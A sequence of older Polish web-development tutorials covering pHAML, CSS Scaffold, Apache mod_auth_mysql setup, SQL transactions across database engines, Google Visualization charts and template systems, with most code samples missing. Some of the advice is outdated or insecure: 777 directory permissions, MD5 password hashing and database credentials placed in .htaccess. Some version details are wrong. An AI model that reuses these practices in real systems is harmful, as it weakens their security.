Jednak któregoś dnia szlag mnie trafił i postanowiłem coś w końcu zrobić, bo efekt mieszania php i HTML'a na dłuższą metę jest tragiczny. Człowiek się gubi gdzie się pętle zaczynają, gdzie kończą i ogólnie jest bajzel. Okazało się, że ktoś był na tyle miły, żeby przeportować HAMLa na php i tak oto powstał pHAML. W porównaniu z oryginałem są pewne różnice, jednak to co najważniejsze zostało zachowane.

Pierwsze starcie

Dzięki pHAML kod ulega dość imponującemu skróceniu. Dla przykładu zobaczmy różnicę między w 'Hello world':

Przeanalizujmy linijka po linijce.
!!! Strict to nic innego jak doctype (koniec kopiowania tego cholerstwa za każdym razem)
%html %head etc - po prostu tagi, tyle że zamiast ich zamykać używamy wcięć.

Na pierwszy rzut wygląda to dziwnie, ale chwila wprawy i zaczyna być fajnie.

Parametry

Przekazywanie parametrów odbywać się może na kilka sposobów. Najbardziej uniwersalnym jest:

Jak się zapewne domyślacie w rezultacie otrzymamy:

Klasy i idy możemy jednak przekazywać w troszkę krótszej formie:

Po prostu po kropkach wymieniamy klasy a po # id.

Pewnym wyjątkiem jest div, gdzie nie trzeba pisać nazwy taga:

jest równoznaczne z:

Kilka przykładów na potwierdzenie, że HAML fajny jest

Do myków, które mi się strasznie podobają należą na pewno listy:

W końcu wygląda to czytelnie, szczególnie zagnieżdżenia.

Bardzo przyjemnie wyglądają też tabele:

Znaki specjalne

\ - wyświetla wiersz dosłownie taki jaki jest.
<<< oraz >>> - wyświetla zawartość dokładnie taką jaką jest znajdującą się między tymi znakami
/ - zamienia wiersz na typowy htmlowy komentarz
// - komentarz, ale niewidzoczny w htmlu

A jak tu php wrzucić?

Najprościej mówiąc - za pomocą myślnika:

to nic innego jak:

Jednak różnica jeśli chodzi o czytelność dość spora.

Wywoływanie

Pokazałem już jak pisanie w HAMLu wygląda, teraz czas to jakoś uruchomić. Najpierw pobieramy ze strony twórcy odpowiednie archiwum. Następny krok to rozpakowanie zipa.

Kiedy już wszystko mamy przygotowane tworzymy sobie plik np test.php a w nim piszemy:

Całą treść przypisujemy sobie do jakiejś zmiennej a potem przekazujemy jako parametry dla render i renderPHP.

Jeżeli uzywamy tylko htmla, nie jest potrzebna linijka $content = $pHAML->renderPHP($content);.

Zachęcam do zabawy, bo wywoływanie tego można zrobić na wiele wygodniejszych sposobów.

Drobne bugi

Wersja dostępna na phaml.sourceforge.net ma w sumie dwie wady. Jedna to taka, że wszystkie tagi traktuje jako podwójne, a druga, że stosuje notację htmlową, a nie xhtmlową.

Na szybko poprawiłem te dwie rzeczy i tagi pojedyncze zamyka poprawnie, a kwestię html/xhtml rozwiązałem poprzez dopisanie zmiennej $is_xhtml. Uprzedzam, że były to poprawki na szybko lecz nie zauważyłem żeby coś nie działało/działało źle. Plik do pobrania stąd.

Podsumowanie

Muszą przyznać, że (p)HAML jest fajnym wynalazkiem. Strasznie upraszcza widok HTMLa. Szkoda jednak, że pod PHP nie ukazała się żadna porządna i ciągle rozwijana implementacja (ta prezentowana tutaj nie sprawia już wrażenie rozwijanej) Pod tym względem muszę przyznać, że jest to coś czego programistom od Ruby'ego można pozazdrościć.

A Wy jakie znacie i polecacie substytuty zwykłego (x)HTML'a?

CSS Scaffold, jak opisuje autor, jest CSSowym frameworkiem napisanym w PHP. Tyle, że w przeciwieństwie do innych CSSowych frameworków (960, Blueprint) zmiast ograniczać rozszerza możliwości styli. Brzmi fajnie? Ba - jest fajne, jest po prostu bardzo fajne.

Wymagania i instalacja

Jedyne czego będziemy potrzebować to PHP 5+.

Instalacja może być dla niektórych troszkę upierdliwa. W sumie jednak ogranicza się do pobrania najnowszej wersji ze strony, rozpakowania oraz przekopiowania z archiwum katalogu (katalogu, a nie zawartości) scaffold do katalogu w którym będziemy trzymać arkusze stylu. Czasem(zależne od serwera) trzeba katalogom cache i logs nadać prawa 777.

W praktyce układ katalogów powinien wyglądać następująco:

Osoby które chcą, żeby adresy do CSSów wyglądały normalnie muszą jeszcze w katalogu w którym trzymają CSS utworzyć plik .htaccess a w nim wkleić

Żeby zrobić próbę czy wszystko działa należy w naszym katalogu z CSSami (dla przykładu będzie to katalog css) utworzyć plik test.css a w nim napisać (zagnieżdzenie jest poprawne - dojdziemy do tego):

i wywołać w przeglądarce albo adres_strony/css/scaffold/index.php?f=css/test.css albo, jeżeli użyliśmy regułki w .htaccess, adres_strony/css/test.css. Jeżeli przywita Was komunikat, że nie może znaleźć pliku pomajstrujcie przy ścieżce.

Jeżeli jednak wszystko zadziałało ok to powinniście zobaczyć następujący styl:

Bazując na naszym obrazku i zakładając, że nasz adres to test.pl ścieżką do stylu będzie albo http://test.pl/css/scaffold/index.php?f=css/style.css lub http://test.pl/css/style.css.

Jeżeli wszystko działa na naszej stronie wklejamy:

lub

Jeżeli wolicie możecie użyć ścieżek absolutnych.

Na koniec drobne ale. Jeżeli nie używacie .htaccess i planujecie używać pierwszej wersji to w przypadku gdy nasza strona znajduje się na tym test.pl w katalogu moja_stronka to ścieżka do stylu będzie wyglądać następująco http://test.pl/moja_stronka/css/scaffold/index.php?f=moja_stronka/css/style.css

Zagnieżdżenia

Jak już zauważyliście w poprzednim przykładzie możemy zagnieżdżać kolejne regułki. Dla przykładu kod na listę nieuporządkowaną z linkami i bez kropek.

wypluje to nam oczywiście:

Stałe

To jest jedna z tych funkcji za które bardzo polubiłem CSS Scaffold. Bardzo często się zdarza, że klient sobie wymyśli, że kolor czcionki, który to użyliśmy w wielu miejscach jest jednak do bani i chce inny. Znajdź/zastąp i jedziemy, ale tu mozna prościej. Jeżeli używamy jednego koloru to zdefinijmy go jako stałą i najwyżej poprawiajmy w jednym miejscu.

Wystarczy w naszym CSS napisać:

a następnie gdy chcemy skorzystać:

Mixins

Czasem zamiast jednego koloru byśmy chcieli wstawiać pewne stałe fragmenty kodu. Nic trudnego:

Żeby teraz ten kod wkleić wystarczy do jakiejś naszej regułki dopisać:

W rezultacie otrzymamy:

Prawdziwa siła tkwi jednak w mozliwości parametryzacji. Jeżeli na stronie wszystkie nasze bordery są tego samego stylu i wielkości a tylko kolor się różni to wystarczy nam:

A wywołamy to następująco:

W rezultacie otrzymamy:

Możlwe jest jeszcze ustalenie wartości domyślnej:

Wtedy wywołanie bez parametru spowoduje automatycnze użycie czarnego.

Liczenie

Ta funkcjonalność jest może troszkę mniej szpanerska, ale czasem bardzo przydatna. Jeżeli mamy div o szerokości 100px i zaczynamy dodawać padding to musimy ciągle poprawiać szerokość (width+padding=100). Scaffold policzy to za nas:

Nic nie szkodzi nam na przeszkodzie, żeby użyć w środku stałych, czy użyć parametru.

Jeżeli...

Na koniec jeszcze jedna ciekawa zabawka czyli instrukcja if. Piszemy mixin (jak ktoś ma pomysł na odpowiednik to bardzo zachęcam) o nazwie default_div który ma tam sobie jakieś właściwości oraz parametr round, który przyjmuje true lub false. W zależności od round doklejamy kilka regułek lub nie:

border-radius to już taki gotowy mixin, który zajmuje się zaokrągleniami.

Cache

Kiedy już skończymy tworzenie naszego stylu pozostaje nam włączyć cache (bo po ciągle ma być generowany na nowo ten sam plik) - żeby to zrobić wystarczy otworzyć plik config.php i przestawić define('SCAFFOLD_PRODUCTION',false); na define('SCAFFOLD_PRODUCTION',true);.

Czy to wszystko?

Nie. Oczywiście, że nie. CSS Scaffold posiada także sporo ciekawych opcji a'propos gridów, wiele ciekawych mixinów, flagi, zastępowanie tekstu obrazkami (bardzo fajnie zrobiona funkcja) oraz wiele innych. Do tego mamy jeszcze możliwość dopisywania własnych rzeczy.

Oczywiście trzeba sobie zdawać sprawę, że takie podejście do styli ma swoje wady - każdy nasz plik ze stylem jest obrabiany pzez PHP, wystarczy, że admin nam zrobi prezent w postaci niespodziewanego upgrade'u do wersji w której CSS Scaffold przestanie działać.

Dodatkowo osoba, której przekażemy taką stronę może się zdziwić jak zobaczy co jest w arkuszu.

Zawsze też istnieje możliwość olania projektu przez autora. W obecnej chwili wszystko zdaje się działać stabilnie jednak, jak już wspominałem, przy nowych wersjach PHP teoretycznie mogą się zacząć dziać cuda.

Jest to też pewne dodatkowe obciążenie po stronie serwera, jednak sprawnie działający cache zapewnie rozwiązuje ten problem (przyznaję, iż nie testowałem na stronie o dużym ruchu).

Mimo wszystko polecam spróbować - dla mnie jest to ogromne ułatwienia.

Serwer Apache posiada szereg madułów umożliwiających przeprowadzenie uwierzytelnienia czytelnika strony.
Jednym z nich jest mod_auth_mysql stworzony przez ekipię Jerrego Stuckle' i Samuela Brauer'a, którego działanie sprowadza się po prostu do porównywania loginu i hasła z tymi zapisanymi w bazie danych MySQL.
W celu korzystania z tego modułu konieczna jest instalacja i kompilacja go na serwerze.

1. Przygotowanie do działania

Instalacja i kompilacja jest banalnie prosta.

1.1: Najpierw ściągamy na serwer archiwum z źródłem modułu ze strony: http://sourceforge.net/projects/modauthmysql/
Polecam wiecznie żywą przeglądarkę Lynx

1.2: Rozpakowujemy ściągnięte archiwum poleceniem:

tar zxvf mod_auth_mysql-3.0.0.tar.gz

Podane parametry oznaczają:

• x mówi, że chcemy rozpakować archiwum .tar
• z każe dekompresję gzip'em.
• v włącza tryb gadatliwy, lub inaczej wizualizację - nazwy wyodrębnianych plików zostaną wysłane na terminal.
• f mówi, że następnym argumentem będzie pełna nazwa pliku to rozpakowania

1.3: Przygotuj sobię w bazie odpowiednią tabelę do przechowywania haseł użytkowników strony.

1.4: Instalacja i kompilacja - w katalogu z mod_auth_mysql wykonujemy dwa polecenia:

make
make install

1.5: Ładujemy moduł do Apache - w pliku httpd.conf dopisujemy linię:

LoadModule mysql_auth_module libexec/mod_auth_mysql.so

A teraz podajemy dane do połączenia z MySQL:

Auth_MySQL_Info host user hasło

2. Testowanie poprawności instalacji

Jeśli wykonałeś wszystkie podpunkty instalacji modułu, wystarczy, ze teraz odpalisz Apache.
Nie powinno być żadnych komunikatów oprócz inforamcji o uruchomieniu.

Jeśli są - oznacza to najpewniej, że podałeś złe dane w Auth_MySQL_Info.

3. Konfiguracja

Działania modułu realizujemy za pomocą pliku .htaccess.

Którego zawartość powinna brzmieć mniej więcej tak:


ErrorDocument 403 /allow_denited.html
AuthName "nazwa witryny/zasobu"
AuthType Basic
AuthMySQL on
AuthMySQL_DB baza
AuthMySQL_Host host
AuthMySQL_User user
AuthMySQL_Password hasło
AuthMySQL_Password_Table tabela
AuthMySQL_Username_Field login
AuthMySQL_Password_Field pass
AuthMySQL_Empty_Passwords off
AuthMySQL_Encryption_Types PHP_MD5
require valid-user


Pierwszą linijką definiujemy która strona ma być wyświetlana podczas, gdy dostęp jest zabroniony.
Druga linijka nazywa "okienko" uwierzytelniania.
Trzecia linijka włącza moduł.
Czwarta linijka wybiera bazę MySQL.
Piąta linijka wybiera komputer / serwer / host (jak zwał tak zwał ).
Szósta linijka wybiera użytkownika do bazy.
Siódma linijka definiuje hasło użytkownika bazy.
Ósma linijka definiuje tabelę z danymi uwierzytelnionych czytelników witryny.
Dziewiąta i dziesiąta linijka definiuje pole w tabeli, gdzie ma szukać loginu i hasła podawanego przez czytelnika.
Jedenasta linijka zabrania podania pustego hasła.
Dwunasta linijka definiuje hashowanie haseł za pomocą mechanizmu MD5 (wartością domyślną jest hashowanie przez Unixowski DES).
Trzynasta linijka zezwala dostęp dla poprawnie zalogowanego czytelnika.

Dodatki do modułu znajdziemy tutaj: http://sourceforge.net/tracker/?group_id=60218&atid=493464
Można tam znaleźć m.in patch do Apache 2.2.

4. Zaczynamy pracę z mod_auth_mysql.

mod_auth_mysql zainstalowany, skonfigurowany, przetestowany poprawnie. Co teraz?
Teraz możemy tworzyć np. panel administratora do katalogu z plikiem .htaccess, ponieważ uwierzytelnianie włączone.

Jednak muszę Cię ostrzec, że własne mechanizmy uwierzytelniania napisane za pomocą np. PHP i MySQL często bywają lepsze od tego modułu.
Na minus korzystania z niego wpływa:

1. konieczność instalacji na serwerze dodatków (nie zawsze jest taka możliwość)
2. brak integracji ze stroną
3. dodatkowe obciążanie zarówno serwera jak i klienta
4. brak możliwości personalnego rozwoju systemu uwierzytelnia

Jednak na plus wpływa fakt, że bardzo trudno jest zcrackować taką stronę.

5. A pod Windows?

Co tutaj się dużo rozpisywać? Szczegóły na temat tego jak zastosować mod_auth_mysql znajdziecie tutaj:
http://modauthmysql.sourceforge.net/HowToBuildForWindows.zip

pozdrawiam,
G.Karwaszewski

Czym w zasadzie są transakcje?

Dla młodego programisty aplikacji internetowych dotąd zapytania SQL kojarzyły się jako odrębne zadania do wykonania.
Na przykład funkcja zliczająca unikalne wejścia na daną podstronę zarejestrowanych użytkowników wykonywała osobno (czysta teoria):

• zapytanie sprawdzające czy wejście jest rzeczywiście unikalne (np. pobieranie IP z listy pamiętanych adresów w tabeli bazy danych)
• zapytanie pobierające aktualną liczbę unikalnych wejść
• zapytanie zmieniające stan wejścia na podstroną danego użytkownika w rekordzie tabeli użytkowników

Jednak gdy w przypadku np. awarii systemu, w trakcie wykonywania operacji modyfikacje odbyłyby się tylko w części, co doprowadziłoby do dalszych komplikacji.

Wyobraźmy sobie to na przykładzie: jest system zarządzający inwentarzem w hurtowni.
Gdy klient kupuje 75 sztuk długopisów, do bazy danych idą zapytania aktualizujące stan kasy, w której kupował oraz zmieniające liczbę długopisów w inwentarzu.
W przypadku gdy długopisów jest już bardzo mało, system automatycznie wysyła zamówienie do producenta długopisów na kolejne 2000 długopisów.
Gdyby w połowie wykonywania tych operacji system straciłby zasilanie to np. stan kasy zostałby poprawiony, ale stan długopisów nie zgadzałby się już z rzeczywistością. Mogłoby dojść potem do sytuacji, że kolejny klient chce zakupić 200 długopisów, a w inwentarzu brakuje 50, ponieważ nie było dostawy długopisów. Dlaczego? Ponieważ przez awarię system nie wykrył, że długopisów jest już mało i zamówienie nie zostało wysłane do producenta.

Jak uniknąć sytuacji tego typu i podobnych?
Rozwiązanie jest teoretycznie proste. Trzeba zastosować transakcje.

Transakcje grupują wyrażenia SQL, traktując tą grupę jako jedno.
Transakcja może składać się z jednego zapytania lub z wielu, to zależy od charakteru zadania do wykonania.
Charakteryzują je zasada ACID czyli, Atomicity, Consistency, Isolation, Durability - Atomowość, Spójność, Izolacja, Trwałość.
Oznacza to, że każda transakcja wykona się w całości, lub wcale. Podczas jej wykonywania dwie równoległe transakcje nie widzą wprowadzanych przez siebie zmian (zależy od poziomu izolacji) do momentu zatwierdzenia transakcji. Zmiany nie są też widoczne dla pozostałych użytkowników tej bazy danych. Po jej wykonaniu nie zostaną naruszane zasady integralności bazy. A cały system udostępni nam nienaruszone dane po nagłej awarii systemu.

Transakcje można używać samodzielnie, ale ich zastosowanie najczęściej idzie w parze z zastosowaniem kursorów w procedurach składowych.
Procedury składowe są udoskonaleniem struktury języka SQL, są osobnymi programami przetwarzającymi dane na poziomie bazy danych.
Jednak by wgłębić się w tą tematykę polecam inną lekturę.

Zatem jakie mechanizmy pozwalają na właśnie takie działanie transakcji? Temat ten omówi kolejny rozdział.

Jak działają?

Zasada działania transakcji opiera się na trzech elementach, niejako fundamentach.

• Rozpoczęcie transakcji, inaczej inicjalizacja - po rozpoczęciu transakcji WSZYSTKIE kolejne zapytania SQL są traktowane jako część instrukcji transakcji, następuje ich zgrupowanie do momentu zamknięcia lub anulowania transakcji.
• Zatwierdzenie transakcji - zapisanie na trwałe wszystkich zmian dokonanych przez instrukcję transakcji. Jeśli nie będziesz kończył transakcji odpowiednio szybko, będzie dochodziło do blokowania całej aplikacji. Poprzez odpowiednio szybko rozumiem sytuację kiedy transakcja jest otwarta TYLKO do momentu, kiedy nie będzie pewne, że jej wynik będzie pozytywny. Nie należy zwlekać z zatwierdzeniem transakcji.
• Anulowanie transakcji, lub też wycofanie - kończy transakcję i porzuca wszystkie zmiany jakich miały dokonać instrukcje. Przydaje się w instrukcjach warunkowych aplikacji internetowej. Np. transakcja jest zatwierdzana jeśli przyjdzie potwierdzenie wpłaty pieniędzy na konto bankowe, w przeciwnym wypadku jest anulowana.

W teorii transakcji istnieje też pojęcie punkt pośredni lub punkt zapisu (save point), działające na tej samej zasadzie.
Chodzi i zapisanie stanu transakcji do danego punktu i możliwość cofania się do tego momentu, wewnątrz transakcji.
To jak zapisywanie stanu gry w czasie wykonywania konkretnej misji w grze komputerowej.

Transakcje w Transact-SQL.

Transact-SQL traktuje KAŻDE wyrażenie SQL jako osobną transakcję. Co odróżnia go znacznie od Oracle.
Transact-SQL WYMAGA deklarowania każdej transakcji. Ku temu służą nam słowa kluczowe: BEGIN, COMMIT, SAVE i ROLLBACK.
Możemy wycofać transakcję do określonego punktu dzięki opcji nadawania nazw każdej transakcji i tworzenia tz.punktów pośrednich.
Nie ma jednak możliwość nadawania nazw transakcjom i punktom pośrednim znajdującym się wewnątrz zapętlonej transakcji.

Transakcje w Oracle.

Transakcje w Oracle są o wiele łatwiejszą sprawą. Niczego innego nie moglibyśmy się spodziewać po tak wybornym produkcie
Tutaj nie rozpoczynamy nigdy transakcji. Mamy tylko polecenia COMMIT i ROLLBACK.
W Oracle nowa transakcja zaczyna się w momencie zakończenie lub anulowania poprzedniej. COMMIT automatycznie zapisuje zmiany.

Gdy sesja zostanie zakończona losowym wydarzeniem (niekontrolowanie) np. gdy komputer straci połączenie z SQL*PLUS, transakcja automatycznie jest anulowana. Nie zaistnieje więc sytuacja niedokończenia pewnych instrukcji gdy np. w hipermarkecie odetną prąd w trakcie przetwarzania kodu kreskowego i odejmowania produktów z bazy inwentarza.

Ale przyjrzyjmy się bliżej w jaki sposób dokonujemy transakcji w Oracle.
Zacznijmy od pobrania kilku rekordów z tabeli Products.

Teraz skasujmy 4 z tych rekordów:

Jednak gdy w tym momencie inny użytkownik wywoła ten sam SELECT otrzyma wynik:

Dlaczego? Nie wydaliśmy polecenia COMMIT. W dalszym ciągu można anulować tą transakcję.
Dla innych użytkowników nie są widoczne zmiany wprowadzone przez nie zakończoną transakcję.

Można ustawić automatyczne zatwierdzanie transakcji co ustaloną liczbę zapytań. Służy do tego specjalny tryb: AUTOCOMMIT.
Aby go włączyć należy w SQL*PLUS wydać polecenie: SET AUTOCOMMIT ON
Analogicznie, aby wyłączyć wystarczy napisać: SET AUTOCOMMIT OFF
Aby ustawić co ile zapytań ma zatwierdzać transakcję wystarczy naskrobać: SET AUTOCOMMIT X
gdzie X oznacza liczbę poleceń.
Bieżące ustawienie AUTOCOMMIT sprawdzamy za pośrednictwem: SHOW AUTOCOMMIT.

Transakcje w MySQL.

MySQL do wersji bodaj 5.0 nie obsługiwało ani procedur składowanych, ani transakcji, kursorów czy też wyzwalaczy. To było głównym argumentem przeciw używaniu MySQL. Przemawiało za konkurencyjnym PosgreSQL, który od dawna obsługiwał transakcje.

Wtedy można było sobie poradzić poprzez symulowanie transakcji. Takie elementy procedury transakcji jak blokowanie tabel czy wierszy (o czym będzie mowa w rozdziale 7) można było zrobić za pośrednictwem: LOCK TABLES i UNLOCK TABLES. Punkty kontrolne czy zwykłe pamiętanie stanu przed rozpoczęciem transakcji można było robić poprzez np. import i export tabel lub ręcznym zrobieniem dziennika logów.
Lecz takie rozwiązanie nie jest ani trochę optymalne i właściwie mija się z celem.
Poradził sobie w ten sposób dawno temu (za czasów MySQL 3.22) administrator webdeveloper.pl, lecz w tym momencie możemy tego uniknąć korzystają z dobroci programistów MySQL.

W MySQL 6.0 mamy do dyspozycji standardowe procedury czyli:
START TRANSACTION (lub BEGIN) - rozpoczynanie transakcji
COMMIT (lub END) - zatwierdzanie
ROLLBACK - anulowanie
I dla InnoDB oraz Falcon
SAVEPOINT - punkty pośrednie
ROLLBACK TO SAVEPOINT - cofnięcie do punktu pośredniego
RELEASE SAVEPOINT - usuwa punkt pośredni o podanej nazwie z obecnej transakcji

Wszystkim aspektom transakcji w MySQL 6.0 jest poświęcony cały rozdział 12.4 w podręczniku MySQL - MySQL Transactional and Locking Statements.

Transakcje w PostgreSQL

Okazuje się że PostgreSQL jest jeszcze łatwiejsze do opanowania od MySQL. Silnik ten ma wbudowane MVCC (Multiversion Concurrency Control), czyli mechanizm zarządzania transakcjami.

W PostgreSQL słowem kluczowym rozpoczynającym transakcję BEGIN, zaś anulującą jest ABORT (lub ROLLBACK), a zatwierdzającą END (lub COMMIT).
Wygląda to więc mniej więcej tak:

Użytkownik otrzymuje informacje o każdej wykonanej operacji i musi zdecydować którą z operacji zakończyć transakcję.
Wróćmy jednak na chwilę do Multi-Version Concurrency Control.
Dzięki temu mechanizmowi może istnieć wiele wersji danego rekordu, a każdy użytkownik widzi odpowiednią wersję do swojej transakcji.
Pozwala to na zmniejszenie blokowania tabel. Każdy z wierszy ma ukryte pola: xmin, xmax, cmin i cmax.

1. Xmin - numer transakcji, w której został stworzony
2. Xmax - numer transakcji, w której został usunięty
3. Cmin - numer zapytania SQL w bieżącej transakcji, w której został stworzony
4. Cmax - numer zapytania SQL w bieżącej transakcji, w której został usunięty

Jak działa MVCC?
W poleceniu INSERT ustawia Xmax na 0. W DELETE Xmax ustawia na numer bieżącej transakcji.
A UPDATE INSERT + DELETE.
Każdy z użytkowników korzystających z transakcji widzi tylko wiersze dla których xmin jest mniejsze lub równe numerowi bieżącej transakcji oraz xmax jest równe 0 lub xmax jest większe lub równe bieżącemu numerowi transakcji.

To tak jakbyśmy przez INSERT utworzyli:

Wtedy UPDATE utworzy nową wersję wiersza:

A DELETE ustawia Xmax kasowanego rekordu:

PostgreSQL pozostawia stare wersje wierszy w tabeli, co powoduje jej niepotrzebne rozrastanie. Zachodzi więc konieczność kasowania co jakiś czas wszystkich rekordów których Xmax jest mniejszy od numeru najstarszej transakcji. Do tego służy polecenie VACUUM.
Jeśli VACUUM nie wykonamy, możemy odzyskać skasowane rekordy za pomocą programu pgfsck.

Lost update problem

Problemem, o który się otarliśmy podczas tego kursu już kilka razy jest Lost Update Problem.
Spotykany w wielu dziedzinach życia informatyka. W każdym współdzielonym projekcie / obiekcie prędzej czy później wystąpi problem utraconych modyfikacji. Na czym to polega? Wyobraźmy sobie projekt tworzony przez dwóch programistów. Mają rozdzielone zadania, lecz słaby kontakt ze sobą.
Załóżmy, że obydwaj mają wolne popołudnie w piątek po pracy. Klawiatura, monitor i Żywiec przygotowane.
Programista A bierze się za dopisywanie kolejnych klas w silniku strony.
Programista B zaczyna pisać rejestrację użytkowników.
Kiedy Programista A edytuje plik klasy.php, Programista B tworzy rejestracja.php.

Jednak Programista B stwierdza, że w klasie użytkowników brakuje istotnego elementu.
Kiedy Programista A skończył swoją pracę i zaktualizował klasy.php na serwerze, Programista B aktualizował poprzednią wersję pliku klasy.php. Kiedy skończył zaktualizował go na serwerze i w ten sposób zignorował modyfikacje Programisty A.

Taka sytuacja oczywiście jest czysto teoretyczna, bo mało prawdopodobne by średnio rozgarnięci programiści popełnili podobny błąd.
Opis takiej sytuacji miał tylko uświadomić ci zasadę problemu. Niech pomoże Ci w tym również ta ilustracja:

W systemach operacyjnych zazwyczaj jest tak, ze gdy jeden program korzysta z pewnych klastrów pamięci, żaden inny program nie ma prawa zapisu tam, choć dostęp ma - może odczytywać stan pamięci przed modyfikacją do czasu zatwierdzenia zmiany. Systemy ignorujące tą zasadę mają skłonność do częstego zawieszania się.

Eliminacją problemu utraconych danych jest blokowanie dostępu do danych zasobów na czas edycji przez jednego użytkownika.
Inaczej mówiąc zapewniamy czasową synchronizację transakcjom wielu użytkowników. Choć transakcje działają jednocześnie to efekt jest taki jakby były wykonywane iteracyjne, kolejno następując po sobie. Wyróżniamy synchronizacje pesymistyczne (blokowanie dostępu) oraz optymistyczne, czyli wykonywanie transakcji i sprawdzanie ewentualnych niezgodności, następujące w kolejności w jakiej wymieniłem.

Typy blokad.

Blokady dzielą się na poziomy. Są blokady na poziomie tabel i na poziomie wierszy.
I tutaj wynika pierwsze zagrożenie lub raczej problem w transakcjach.
Bo choć blokady na poziomie tabel można spotkać w większości (we wszystkich?) silników bazodanowych, to blokady wierszy tylko w tych bardziej zaawansowanych technologicznie.
Blokowanie CAŁEJ TABELI na czas wykonywania transakcji jest okropnie niewydajne. A co jeśli z tabeli korzysta kilku, albo o zgrozo, kilkunastu użytkowników, to nie będą mogli oni dokonać nic w całej tabeli do czasu, aż nie zakończy się tamta pierwsza transakcja. Teraz już widzisz jak ważne jest zamykanie transakcji kiedy już tylko można tego dokonać.

Blokowanie wierszy jest o wiele lepsze. Ponieważ blokuje tylko jeden rekord i jest mniejsze prawdopodobieństwa zastoju, lub w przypadku źle napisanych aplikacji internetowych, blokady całej strony.

Cofanie transakcji.

Jak już dobrze wiesz transakcje umożliwiają cofanie się do punktu pośredniego lub do stanu przed rozpoczęciem grupy zapytań.
Jak ta część mechanizmu współgra? Otóż na potrzeby tego projektu wynaleziono takie pojęcie jak dziennik transakcji. Nie jest on niczym innym jak dziennikiem logów aka zmian.
Dzięki temu dziennikowi możliwe jest cofanie transakcji JUŻ ZATWIERDZONYCH.
Dzienniki taki przechowują zapis wszystkich transakcji zazwyczaj od momentu ostatniego backupu bazy. Jak to działa?

Załóżmy że mamy backup bazy z przed 3 dni i nastąpiła awaria, dajmy na to dysku. W takim wypadku musimy przywrócić stan z przed 3 dni.
Przywrócenie stanu z przed awarii jest banalnie proste po przywróceniu kopii bazy. Musimy potem tylko przywrócić zapisane transakcji w dzienniku transakcji, który na nowo wykona zapisane zapytania SQL.

Jeśli awaria nastąpiła z naszej winy, to następnym krokiem powinno być czynność zapobiegająca powtórzeniu się sytuacji.

Podsumowanie i bibliografia.

Dowiedzieliśmy się już do czego służą transakcje, jak się ich używa, jak działają oraz poznaliśmy och zastosowanie w bazach różnego typu. Wiemy już też jak twórcy języka SQL ułatwili życie programistom dając dodatkowe wsparcia.
Wiemy już też jak ostrożnym trzeba być w korzystanie z pomocy tego typu. Wiemy zatem już wszystko co powinniśmy wiedzieć do wypróbowania tego w praktyce. Dlaczego więc zwlekasz?

Źródła mojej wiedzy w tych tematach:

1. Szkolenie Microsoft SQL Server w PWSZ Elbląg.
2. Podręcznik, z którego korzystamy podczas szkolenia: Rafe Coburn - SQL
3. W niektórych momentach wyczerpania mózgu podczas pisania tego kursu: angielska i polska Wikipedia.
4. FAQ Obiektowe Bazy Danych autorstwa Agnieszki Wiercioch i Andrzeja Martyna (z AGH Kraków, Informatyka) pod kierunkiem mgr inż. Vahe Amirbekian'a

Przyjemnej pracy
Grzegorz (MajareQ) Karwaszewski

Artykuł otrzymał prawa do publikacji dla: Vivee.info, Dzienniki Emku, Wortal ViaWWW.pl.

Wykres kołowy

Demo

Na początku musimy załadować JavaScript API.

Rysowanie wykresu.

Teraz tworzenie tabeli. Musimy podać rodzaje i nazwy kolumn, oraz ilość rekordów.

Pora na dane do tabeli. Teraz w naszych danych podajemy numer w jakiej kolejności mają być pokazywane rekordy (zaczynamy liczenie od zera). Po przecinku podajemy 0 jeśli chcemy podać następnie nazwę rekordy i w następnym wierszu 1 jeśli chcemy dać wartość.

Podajemy gdzie ma się pojawić wykres i jaki rodzaj . W tym przypadku pojawi się w divie o nazwie chart_div i rodzaju tak jak podaliśmy wcześniej PieChart.

I na koniec wielkość, rodzaj (2D/3D) i nazwa całego wykresu.

Cały kod:

Wykres słupkowy

Demo

Tak samo jak w poprzedni przykładzie rozpoczynamy od podlinkowanie JavaScript API.

Teraz jako rodzaj wykresu wybieramy columnchart jeśli chcemy wykres pionowy lub barchart dla wykresu poziomego.

Następnie rysowanie wykresu.

Tabelę danych tworzymy na tej samej zasadzie co poprzednio:

Tym razem dane się nam zmieniły. Też mamy numer, potem pod 0 mamy nazwę (w tym przykładzie rok), pod '1' pierwsza wartość, a pod '2' druga wartość.

I na koniec taki sam kod tak jak przedtem, więc nie będę go omawiał. Musimy typamiętać by podać ColumnChart jeśli mamy wykres pionowy, albo BarChart jeśli mamy poziomy.

Cały kod:

Podsumowanie

To co tutaj zaprezentowałem jest tylko ułamkiem możliwości Google Visualization API. Zachęcam do odwiedzenia oficjalnej strony. Można tam znaleźć pełną dokumentację oraz ciekawe przykłady zostosowań.

W połączeniu z umiejętnościami programistycznymi na bazie Google Visualization API można wyczarowań naprawdę wiele efektownie wyglądających rzeczy.

Dlaczego tak dziwna nazwa tematu? Ano dlatego, że zamierzam Was przekonywać do stosowania systemów szablonów w swoich projektach WWW.

Dlaczego jest to ważne?

Spójrzmy na sprawę z logicznego punktu widzenia. Pomyśl, jak fatalnie korzysta się, edytuje czy rozwija skrypt gdzie w jednej linijce jest definiowany wygląd tekstu i wyświetlanie danych z bazy.
(zawczasu uprzedzam tych "życzliwych", którzy zapewne będę chcieli wytknąć mi, że sam w niektórych wpisach na Dziennikach Emku stosuję to. - wpisy z takim sposobem programowania stron są przeznaczone docelowo do początkujących programistów. Oznacza to, że panowie i panie, których jakże wielce razi to jak pisze, nie są tam miłymi gośćmi. Zaproszeni tam są tylko spragnieni wiedzy.)
Z takim stylem programowania wiąże się wiele problemów i kłopotów, choćby z typowym z nagłówkami HTML czy umożliwianie wykonania, jakże przepięknych, klasycznych ataków XSS.

Z czym to się je?

Poniżej przedstawiam Wam krótką listę cech i zalet stosowania szablonów.

• Zasada DRY

czyli Dont Reapeat Yourself - nie powtarzamy po sobie kilka set razy to co możemy napisać raz.

• Zasada KISS

czyli Keep It Simple, Stupid - nie komplikuj sobie, głupcze!

• Brzytwa Ockhama

Nie należy tworzyć bytów ponad niezbędną konieczność.

• Zwiększoną czytelność kodu HTML i PHP.

• Łatwiejsze zarządzanie dużymi projektami.

• Łatwiejsza konserwacja projektów.

• Ułatwiony podział ról - projektant i programista.

• Zwiększona szybkość działania strony.

• Ułatwiona rozszerzalność projektów.

• Najczęściej, podniesiona bariera bezpieczeństwa.

Smarty - wprowadzenie

Ośmielę się powiedzieć, że Smarty jest obecnie najbardziej popularnym systemem szablonów na świecie. Chodź w Polsce całkiem dobrze radzi sobie rodzimy projekt - OPT.
